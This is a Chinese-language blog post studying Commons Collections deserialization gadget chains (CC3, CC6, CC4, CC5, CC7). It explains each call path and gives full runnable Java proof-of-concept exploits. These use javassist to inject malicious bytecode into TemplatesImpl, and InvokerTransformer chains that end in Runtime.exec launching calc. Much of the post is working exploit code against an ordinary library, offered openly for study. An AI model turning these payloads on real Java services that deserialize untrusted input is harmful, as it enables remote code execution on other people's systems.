忙完一些比赛之类的,终于有时间继续看我的cc链了<( ̄︶ ̄)↗ GO! 之后打算逐步了解更新点的东西
CC3
CC3的特性是加载恶意类的字节码并实例化对象 其中一个链使用了TrAXFilter
类与InstantiateTransformer
搭配来触发newTransformer()
,用InstantiateTransformer
反射实例化对象。触发加载恶意类之前都是CC1,不过把最后直接反射调用runtime换成了加载恶意类,关于classloader
的利用在cc2的利用链2那里已说
当InvokerTransformer
被过滤时可以用TrAXFilter
这个链子,TrAXFilter
本身是不能反序列化的,但是调用到它的构造函数就可以调用newTransformer
rce还是利用TemplatesImpl#newTransformer->TemplatesImpl#**getTransletInstance**->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
加载恶意字节码,这里不再展开
流程
用javassit创建java恶意类,当然和之前提到的一样还可以先写一个出来再用javassit导入它。
同样,需要设置其父类为AbstractTranslet
CC2 & CC1 这里还有个判断,如果该类的父类为
ABSTRACT_TRANSLET
就给_transletIndex
赋值,_transletIndex
在实例化类时用来指定_class
的元素 所以在之后构造恶意EvilTemplatesImpl
时需要让它继承AbstractTranslet
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("evil");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
//获取恶意类的字节码
byte[] bytes = payload.toBytecode();
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
//反射写入字节码
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes});
//反射修改_name
Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "test");
接下来写transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
通过ConstantTransformer
获得到TrAXFilter
类 它的Transformer
方法会返回TrAXFilter
看眼这里的InstantiateTransformer
构造函数,可以看到传入的第二个参数是构造好的templatesImpl
所以这里利用Transformer
链先获得TrAXFilter
类,再交给了InstantiateTransformer
传入注入了字节码的templatesImpl
并进行实例化
这里用了LazyMap
类,它会被AnnotationInvocationHandler
的invoke
方法调用, 其get方法可以依次调用map内的对象,这里只需要保证map.containskey
存在,随便传入个空键名即可
AnnotationInvocationHandler
的invoke
方法,为了调用它需要var2
对应的方法名字不为equals
且无参数调用(get调用在第59行) 但invoke
调用的是memberValues
的get
方式
回到POC构造,接下来这段就是用来调用AnnotationInvocationHandler
的invoke
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=ctor.newInstance(Override.class,map1);
AnnotationInvocationHandler
继承了InvocationHandler
,意味着该类可以作为动态代理的代理处理器,并且必须重写invoke
方法,当调用该代理对象时,invoke
方法会被自动调用,这里只要随便调用一个无参函数即可,最终触发LazyMap
这里的无参函数使用entrySet
首先通过反射获取到AnnotationInvocationHandler
的构造函数,传入LazyMap类
创建对象 然后再用Proxy
代理该对象,当调用readObject
时便会调用到invoke
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
POC
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
package www.orxiain.unser.cc3;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.Transformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception{
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CC3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes});
Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "test");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl})
}; Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=ctor.newInstance(Override.class,map1);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(object);
//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();
}}
Links
- # ava反序列化Commons-Collection篇03-CC3链 _
- Java链
- Java反序列化之Commons Collections3链 | DiliLearngent’s Blog
- Java安全 CC链1分析(Lazymap类)_cc1链使用的lazymap类-CSDN博客
- java动态代理实现与原理详细分析 - Gonjian - 博客园
- 动态代理 - Java教程 - 廖雪峰的官方网站
- 漏洞篇 - Java 反序列化之 CC3 链 - 妙尽璇机
CC6
CC3与CC1一样都有java版本的限制(<=8u71),原因在于sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑发生改变 CC6链只要就是为了绕过这个限制
Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
单从ysocc6的调用链可以看出,仍然是利用了LazyMap.get()
来调用Transformerchain
最后直接rce的,只是前面的利用类为TiedMapEntry
,其getValue()
方法调用了get()
谁调用到了TiedMapEntry
呢? HashSet
重写的readObject
中最后调用了Put
方法 而put中调用了hash()
随后调用了key的hashCode
方法 只要让这里的key
为TiedMapEntry
的对象即可调用到TiedMapEntry
类的hashCode
其方法又调用到了getValue()
这里调用了get
,完美闭合,太妙了😭😭😭 这里让this.key
可以给LazyMap
,调用它的get方法就可以调用接下来的Transformerchain
,最后实现rce
poc
package www.orxiain.unser.cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),// 隐藏错误信息
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
// HashMap map = new HashMap();
// map.put(key, "value");
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));
// oos.writeObject(map);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./cc6.bin"));
Object o = ois.readObject();
System.out.println(o);
}}
Links
CC4
Gadget Chain:
getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify ->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare->ChainedTransformer.transform ->TrAXFilter(构造方法)->TemplatesImpl.newTransformer ->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses ->(动态创建的类)cc4.newInstance()->Runtime.exec()
其实就是CC2的前面加CC3加载恶意类并实例化的部分 用CC2的特性使得链子在CC4.0也可用 这里只记录链子了
POC
package www.orxiain.unser.cc4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections4");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{bytes});
Field name=templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"test");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
}; ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test3.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test3.out"));
inputStream.readObject();
}}
Links
Java安全之Commons Collections4分析 - nice_0e3 - 博客园
CC5
复现jdk为1.8u41 Gadget:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC版本还是3.2.1
从CC5的调用链可以看出还是利用到了LazyMap.get()
,但调用的get方法前面的链子换了一下
来看一下TiedMapEntry
这两个方法 cc5就是利用了toString()
中的getValue()
方法,之后和cc6和cc1一样了
toString()
会被BadAttributeValueExpException
的readobject方法调用到 但是这里需要getSecurityManager
为空,也就是说在沙盒之类的情况下是不可用的
POC
package www.orxiain.unser.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[]{String.class},
new Object[]{"java.lang.Runtime"}
), new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"C:\\\\windows\\\\system32\\\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazy,"admin");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class a = badAttributeValueExpException.getClass();
Field val = a.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serializable(badAttributeValueExpException);
unserializable();
} private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}}
CC7
Gadget Chain:
Hashtable.readObject
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut
LazyMap.equals 没实现,找父类
AbstractMapDecorator.equals
HashMap.equals 没实现,找父类
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
命令执行还是cc6的LazyMap.get
那套,但是前面很有意思
入口点是reconstitutionPut
的readObject
方法 就像源代码中注释所描述的,我们会发现它会先将序列化数据的长度读取出来创建新的table 然后接了个for循环来将键值对写入到table,这里调用到了reconstitutionPut(table, key, value)
细看这个方法,发现它调用了key.equals
,所以这里控制key的内容可以让它调用到类的equals方法
但是调用到equals还需要过几个判断: 也就是这里的hash值的判断,因为它需要检查元素中是否有两个元素重复,所以会调用到这里的equals
也就可以调用到LazyMap
的父类AbstractMapDecorator
的equals方法 它摆烂又会调用到LazyMap的map属性的equals方法,map属性是可控的 之后会让map为HashMap
,也就是HashMap
父类的equals
方法 这里找了两次爹,还是挺有意思的
HashMap
的父类是AbstractMap
它调用了get!
但是前面还有一堆判断:
//判断对象类型是否为同一对象
if (o == this)
return true;
//检查传入的对象 `o` 是否是 `Map` 类型或其子类型。
if (!(o instanceof Map))
return false;
//将传入的对象 `o` 强制转换为 `Map<?,?>` 类型。
Map<?,?> m = (Map<?,?>) o;
//检查传入的 `Map` 对象 `m` 的大小(即键值对的数量)是否与当前 `Map` 对象的大小相同。
if (m.size() != size())
return false;
让它们都不满足之后就可以调用m的get方法,之后就和CC5之后一样了
这里构造的时候有个点 lazyMap2.remove("yy");
为什么这里要remove掉lazyMap2
的yy呢?
打断点逐步分析 发现在执行hashtable.put(lazyMap2, 1);
后,LazyMap2就会多出一个元素 这就导致了两个map的size不同,最后会卡在到AbstractMap
的equals方法判断元素数目是否相同的地方,所以需要删掉这个
那么为什么会多出这个yy呢? 打点看一下 先到了AbstractMap
类,这里因为Value的值不为null(也就是判断了LazyMap的值是否存在),所以调用了LazyMap
的get方法 其实这里就能看见第三行将transform
返回的值put回去了 解决方法就是把这个yy删了
POC
package www.orxiain.unser.cc7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
/*
基于Hashtable的利用链
*/public class CC7 {
public static void main(String[] args) throws Exception {
//构造核心利用代码
final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
new ConstantTransformer(1)};
//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");
//输出两个元素的hash值
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
//iTransformers = transformers(反射)
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
//序列化 --> 反序列化(hashtable)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}}